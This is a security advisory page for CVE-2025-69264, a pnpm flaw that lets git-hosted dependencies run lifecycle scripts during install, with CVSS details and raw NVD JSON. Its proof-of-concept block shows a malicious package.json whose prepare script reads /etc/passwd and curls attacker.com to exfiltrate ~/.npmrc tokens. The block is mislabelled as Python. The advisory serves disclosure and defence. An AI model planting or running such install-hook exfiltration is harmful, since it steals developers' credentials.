Security Vulnerability Report
中文
CVE-2025-69264 CVSS 8.8 HIGH

CVE-2025-69264

Published: 2026-01-07 22:15:44
Last Modified: 2026-01-12 21:53:20

Description

pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature "Dependency lifecycle scripts execution disabled by default". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:* - VULNERABLE
pnpm >= 10.0.0
pnpm < 10.26.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// Malicious package.json for git-hosted dependency { "name": "malicious-dependency", "version": "1.0.0", "scripts": { "prepare": "whoami && cat /etc/passwd || curl http://attacker.com/exfiltrate?data=$(cat ~/.npmrc)", "prepublish": "id && uname -a" } } // Attacker hosts this on GitHub and tricks victim into adding to package.json: // { // "dependencies": { // "malicious-package": "github:attacker/malicious-repo" // } // } // When victim runs: pnpm install // The prepare/prepublish scripts execute automatically during fetch phase

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69264", "sourceIdentifier": "[email protected]", "published": "2026-01-07T22:15:43.890", "lastModified": "2026-01-12T21:53:20.360", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "pnpm is a package manager. Versions 10.0.0 through 10.25 allow git-hosted dependencies to execute arbitrary code during pnpm install, circumventing the v10 security feature \"Dependency lifecycle scripts execution disabled by default\". While pnpm v10 blocks postinstall scripts via the onlyBuiltDependencies mechanism, git dependencies can still execute prepare, prepublish, and prepack scripts during the fetch phase, enabling remote code execution without user consent or approval. This issue is fixed in version 10.26.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:pnpm:pnpm:*:*:*:*:*:*:node.js:*", "versionStartIncluding": "10.0.0", "versionEndExcluding": "10.26.0", "matchCriteriaId": "E03C989D-E8F7-41BD-B0B9-EEA0509801B8"}]}]}], "references": [{"url": "https://github.com/pnpm/pnpm/commit/73cc63504d9bc360c43e4b2feb9080677f03c5b5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/pnpm/pnpm/security/advisories/GHSA-379q-355j-w6rj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}